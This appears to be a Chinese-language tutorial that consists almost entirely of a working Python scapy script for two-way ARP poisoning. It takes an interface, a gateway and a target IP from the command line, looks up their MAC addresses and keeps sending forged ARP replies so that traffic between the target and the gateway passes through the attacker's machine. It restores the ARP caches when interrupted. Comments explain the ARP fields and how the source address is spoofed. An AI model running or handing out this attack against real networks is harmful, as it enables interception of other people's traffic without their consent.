安装scapy库
pip install scapy
#-*- coding:utf-8 -*-
from scapy.all import *
import sys
import optparse
parser = optparse.OptionParser('-W 网卡 -w 网关 -p 目标ip')
parser.add_option('-W',dest='tgtW',type='string',help='W')
parser.add_option('-w',dest='tgtw',type='string',help='w')
parser.add_option('-p',dest='tgtip',type='string',help='p')
(options,args)=parser.parse_args()
print options,args
wk=options.tgtW
wg=options.tgtw
ipa=options.tgtip
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
'''
arp缓冲表恢复
'''
print('[*] 恢复ARP缓冲....')
#同样也是构造ARP包(双向)
'''
hwdst='ff:ff:ff:ff:ff:ff' 表示以广播的形式发送
'''
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst='ff:ff:ff:ff:ff:ff',
hwsrc=gateway_mac),count=5)
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst='ff:ff:ff:ff:ff:ff',
hwsrc=target_mac))
def attact_target(gateway_ip,gateway_mac,target_ip,target_mac):
'''
进行双向欺骗
'''
'''
先使用scapy 结构ARP包
可以通过看arp报文结构
以太网头部可忽略,使用默认
默认以太网头部
>>> ls (Ether())
dst : DestMACField = 'ff:ff:ff:ff:ff:ff' (None)
src : SourceMACField = '80:a5:89:35:96:2b' (None)
type : XShortEnumField = 36864 (36864)
arp头部,也可以忽略,使用默认
这就几个可以去了解一下,下面代码解释
源硬件地址 源协议地址 目标硬件地址 目标协议地址
查看ARP报文,python编辑器下输入代码:
from scapy.all import *
ls(ARP())
其他协议类型也一样方式
>>> ls (ARP())
hwtype : XShortField = 1 (1)
ptype : XShortEnumField = 2048 (2048)
hwlen : ByteField = 6 (6)
plen : ByteField = 4 (4)
op : ShortEnumField = 1 (1)
hwsrc : ARPSourceMACField = '80:a5:89:35:96:2b' (None)
psrc : SourceIPField = '192.168.1.7' (None)
hwdst : MACField = '00:00:00:00:00:00' ('00:00:00:00:00:00')
pdst : IPField = '0.0.0.0' ('0.0.0.0')
必要属性:
op:操作码,默认1,取值为1或者2,分别代表ARP请求包或者响应包(请求操作,响应操作)
hwsrc:发送方的mac地址,用于告诉对方我的mac地址是什么
默认为本机,所以可以忽略
psrc:发送方IP地址,用于告诉对方我的IP地址是什么,可用来伪装
报文发送给谁,由下面两个属性决定:
hwdst:对方的MAC地址
pdst:对方IP地址
'''
#构造ARP包
#欺骗目标主机,我是网关
'''
发给目标主机(target_ip)
欺骗它,我的IP是gatewat_ip(网关),我的mac地址是hwsrc(默认本机)
'''
poison_target=ARP()
poison_target.op=2
poison_target.psrc=gateway_ip
poison_target.pdst=target_ip
poison_target.hwdst=target_mac
#欺骗网关,我是目标主机
'''
发送给网关(gateway_ip)
欺骗,我的ip是target_ip(目标),我的mac地址是hwsrc(默认本机)
'''
poison_gateway= ARP()
poison_gateway.op=2
poison_gateway.psrc=target_ip
poison_gateway.pdst=gateway_ip
poison_gateway.hwdst=gateway_mac
print('[*] 正在进行ARP投毒。[CTRL-C 停止]')
while True:
try:
#循环发送arp包
send(poison_target)
send(poison_gateway)
time.sleep(2)
#捕获键盘中断
except KeyboardInterrupt:
#进行ARP缓冲恢复
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
break
print('[*] ARP投毒结束')
return
#获取网关和目标IP、MAC地址
def main():
#网卡,网关,目标
interface = wk
gateway_ip= wg
target_ip = ipa
#设置网卡
conf.iface = interface
#关闭信息提示
conf.verb=0
print ('[*] interface:%s'%interface)
#获取网关MAC
gateway_mac = getmacbyip(gateway_ip)
#没获取到网关
if gateway_mac is None:
print ('[!] get MAC error !')
sys.exit(0)
else:
print ('[*] interface:%s MAC: %s'%(gateway_ip,gateway_mac))
#获取目标MAC地址
target_mac = getmacbyip(target_ip)
if target_mac is None:
print ('[!] get HOST MAC error !')
sys.exit(0)
else:
print ('[*] host:%s MAC: %s'%(target_ip,target_mac))
#进行欺骗
attact_target(gateway_ip,gateway_mac,target_ip,target_mac)
main()